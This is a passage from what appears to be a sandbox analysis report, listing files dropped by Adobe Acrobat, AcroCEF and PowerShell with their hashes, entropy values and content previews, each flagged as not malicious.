DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.232325163557035
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFfAnX3Vx+FIbRI6XVW7+0YOBoAvJfshHHrPeUkwRe9:YvXKXFfAHVUYpW7wGUUUkee9
MD5:	4CA0D14C549783A349E8D3A014B26EDD
SHA1:	96A6D4128833845218FEA95CFF0E6E4C21C98F6D
SHA-256:	913A7D67A2DA1F7E3B682B0C8225C669E928DD66782274B72888E8844ED59238
SHA-512:	55103CC2848610F639739FC08C9D3021E57B0D76DAC9CC20E865A3DF0094E82C70C8C2C992D6D79D5802E5DA4AF227F17450C06EE4636AE190E66D1BE4200BA1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2e72af72-46cc-4894-b5a5-a9a21cf7e6bf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736756374839,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.245128153960107
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFfAnX3Vx+FIbRI6XVW7+0YOBoAvJTqgFCrPeUkwRe9:YvXKXFfAHVUYpW7wGTq16Ukee9
MD5:	AE74DDE6363D8C3F4F2E647595329A9D
SHA1:	2634235BBDD7FADCA0636C9F06B02E8553DD198F
SHA-256:	F8A454174EDC2C34F8705D0FDB31BB08A05E6D00D9DD28EABFFA5B62DDB64971
SHA-512:	B9E4FDCC0BB1BA5AADFC0C1EE60DB0B8A4EF002D7837F4A5E08BFF8783F02B265169E1CA9B4E3C8D5DB9396EEAD7B45FDFD941FED52F2F833CB7014F13CBB53D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2e72af72-46cc-4894-b5a5-a9a21cf7e6bf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736756374839,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.146590653655826
Encrypted:	false
SSDEEP:	24:YSpaGZ6ay4HkQFfUM9mrlTWivjlUj0SZ+/Z25pf2LS7CD3qInxx9J/5f9xnpTuAj:YEHjfdmxDU6oV94qInx9/p9xnpj
MD5:	23D8046FB433FB31AAF798064B8DA177
SHA1:	4E94E28A3020D23D24C5A3C00E221316771423CF
SHA-256:	9E75B6C7377E19D9BBD93E20A4A27E0CE7EB25502826FAAF1C0C467CA7F5801A
SHA-512:	A3F5A64066DF7B3E052DCA05058D945E3CF0EE359516E1996173A4B8EEAC27EB48E6C39544C9BEEBC65DF6CEA5683457FEA5D58360E4FCA052241AC814AB439B
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"529878b4c97db31f875322f3b95744f7","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736576944000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"4257599985550f218b3deedd26998016","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736576944000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"6ed7733c311f6c7b37e1e05b734930cb","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736576944000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"ccd99671aef3376e4da78035f571abb8","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736576944000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"68add3f68779a2dfbc81ee4e2b10b913","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736576944000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"bc8459d69229664ff40858046b2b3048","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9850953121474116
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpenIT04zJwtNBwtNbRZ6bRZ4nnIT0F:TVl2GL7ms6ggOVp3LzutYtp6PR0
MD5:	F441B7E30DFBA7729DDF406E0C4B5A94
SHA1:	B6AC64D82275046E3489EB7BAF31A5A76CD76BB6
SHA-256:	684248818600564DEC40E02457615267F7C0D888AF7209B61D723C28AD60F37B
SHA-512:	E09007E74CF94430B520B54AB8D54B56252DFFE766A29D6467C406574E7B78DE3E15115DBD9F88A4C6AB6EE43693616D3AA7299947C228C1D6E65F5DE2EBA1BA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3376612663352234
Encrypted:	false
SSDEEP:	24:7+tAAD1RZKHs/Ds/SpenIT0PzJwtNBwtNbRZ6bRZWf1RZKOqLBx/XYKQvGJF7urH:7MAGgOVp30zutYtp6PMrqll2GL7ms6
MD5:	C08999957D3B4F90C57079027ACE7096
SHA1:	939857DF25648306F3A8424135E84677BA8A128D
SHA-256:	208FB8F11EFF384442340FC58CD9E97421A89DC5EDCDF3D3A9EF7D5FC5E56E36
SHA-512:	D5D79AFB494A2D70F79B8DA3707EC4E431907A7A2D78219F66A1145C7A1E24F7D5A5A1B31A7410B20BC112E770DD759D853FF7804C749A0372C09F93D70FADB8
Malicious:	false
Preview:	.... .c.....sD........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgMqeSky1FUz8XKJnJlSjKaxlbYyu:6a6TZ44ADEMqUy168XmaxBK
MD5:	90F5C1BC904539B6340F47F55164B97F
SHA1:	A07DFDFDB2227CB306B0E5F1AC0899D11836314F
SHA-256:	689022614A25B3B6A1E7C12744D1834605927B65532206B7B40E63DDA1F21915
SHA-512:	9BB8C8158478519EFD31F013B84480DB50DA1B96F56F8375C3749E60E703AD82F899C851C6088C3B56BE2051EE4F62185B699B1F552BB6914E772A2470CCF15A
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulLvwtllZ:NllUcX
MD5:	179E8BEBE78CE98BC6A43CFCCCB86E2A
SHA1:	B43BD8DBD022712F942125AF0E61A3D284D3A340
SHA-256:	BB4B045469CFEC668FDDDF71C0E7B4D2DE74799E00A3898D1EE46F50AA4B70F2
SHA-512:	105B6EA0FAEBB348EE473D7D7FCD27D9F1EBAEA53CFBAF42EF9809C6119498A91A894CA6368AD198EE47D5ED2971DCCE44D5F59A80C152692B0FF4C7AF6971E4
Malicious:	false
Preview:	@...e.................................Z.5............@..........

C:\Users\user\AppData\Local\Temp\MSI6deb3.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4953527754662135
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl8zf9:Qw946cPbiOxDlbYnuRKdt
MD5:	1A42A4EF02C016CA850E693BF5C60031
SHA1:	555687D8B6A3EB84DB7008E9492962A8FEC111FC
SHA-256:	ED7223763BF069420D4D913B7AB780FD89CB82DCF1C54D2EE34BD898EE3F36E7
SHA-512:	ABD4AF741343DB8EE8513A12FEBF04012409B858642833A155B6B207A759DF3999E02AAEE4317F5705E24D3634DCE9651C0B2274DFFE72DA9F43F949896AADEA
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.1.:.2.9.:.0.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nh2nnbvf.dcj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uwc43o52.cj2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 01-28-59-455.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15092
Entropy (8bit):	5.353741189745519
Encrypted:	false
SSDEEP:	384:G/7aL72YpzkMVzcLGoBV2VGVnV+VwF9IRODfpUn7d/rtZPZuQCC7/n4laZiZ4dPF:HoQoVMUk
MD5:	7774E1A307C0E9B692E9BB9356BE0502
SHA1:	EF8B5E2DC45CF2586646FDA935147A6264E9ED32
SHA-256:	400965A3B9F5DF6842B8C7EF57E3B41A22F1DC067CC64E64B11E1F281058123F
SHA-512:	2C430FD6D72644FD7F84DE4DD215E095BDC6D3F46421C31AA0F5A81230D7AFD972F33C32DE9C081B2BFB76339D5EC5999C424528BCFCC396368949A0D04C29E4
Malicious:	false
Preview:	SessionID=4eed84f9-4ebb-4ed1-bbc5-33ea936bab8b.1736576939493 Timestamp=2025-01-11T01:28:59:493-0500 ThreadID=360 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=4eed84f9-4ebb-4ed1-bbc5-33ea936bab8b.1736576939493 Timestamp=2025-01-11T01:28:59:494-0500 ThreadID=360 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=4eed84f9-4ebb-4ed1-bbc5-33ea936bab8b.1736576939493 Timestamp=2025-01-11T01:28:59:494-0500 ThreadID=360 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=4eed84f9-4ebb-4ed1-bbc5-33ea936bab8b.1736576939493 Timestamp=2025-01-11T01:28:59:494-0500 ThreadID=360 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=4eed84f9-4ebb-4ed1-bbc5-33ea936bab8b.1736576939493 Timestamp=2025-01-11T01:28:59:494-0500 ThreadID=360 Component=ngl-lib_NglAppLib Description="SetConfig: N

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.3988091320244385
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbS:u
MD5:	1F21A0B13ACF8D24EBBBC16D19629F0B
SHA1:	976F404D3BCB8D8320C746904715359F9337C0EC
SHA-256:	9CFEEC6F5F17EA298F9AFE1A83E4001494EF93039811AFF27879B1E5D915DE67
SHA-512:	813CADB5B7670A078ADDB77D63CA9E68FC9AEDB90059B644C0C98103D27284BB811815FA76A51B5C7113D44955FB7BEF2249F828606E04795733C378CDD2E7DE
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\152d36b0-41f8-4a7f-a725-9ff449c60a2a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\9d69be7f-ab37-4147-98ad-85f5f1999ba5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\b93d0b00-f69d-4d5b-b6ed-4d9106acbb2c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57837
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJxdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07c:JVwWLaGZDwZGV3mlind9i4ufFXpAXkrj
MD5:	96E2EE6506759519A5E3E5E550F28388
SHA1:	477522A699526F3EC2270AD0B3D3B8D6609F8BBB
SHA-256:	D135FEF8231B87D1F758B3D31FC5467BC933321F7E8EACB316F933DBA36474D5
SHA-512:	C84E93CB72ABC0742C44BF13608472EDD30BE64358C0DA350D9D54C0A88EC45931D48CE1DA823FC527E5134E7277B16AFE0521F2716C067A519FDD390DB315CC
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d9cbad91-b092-46a4-8dc2-beace1b8f840.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
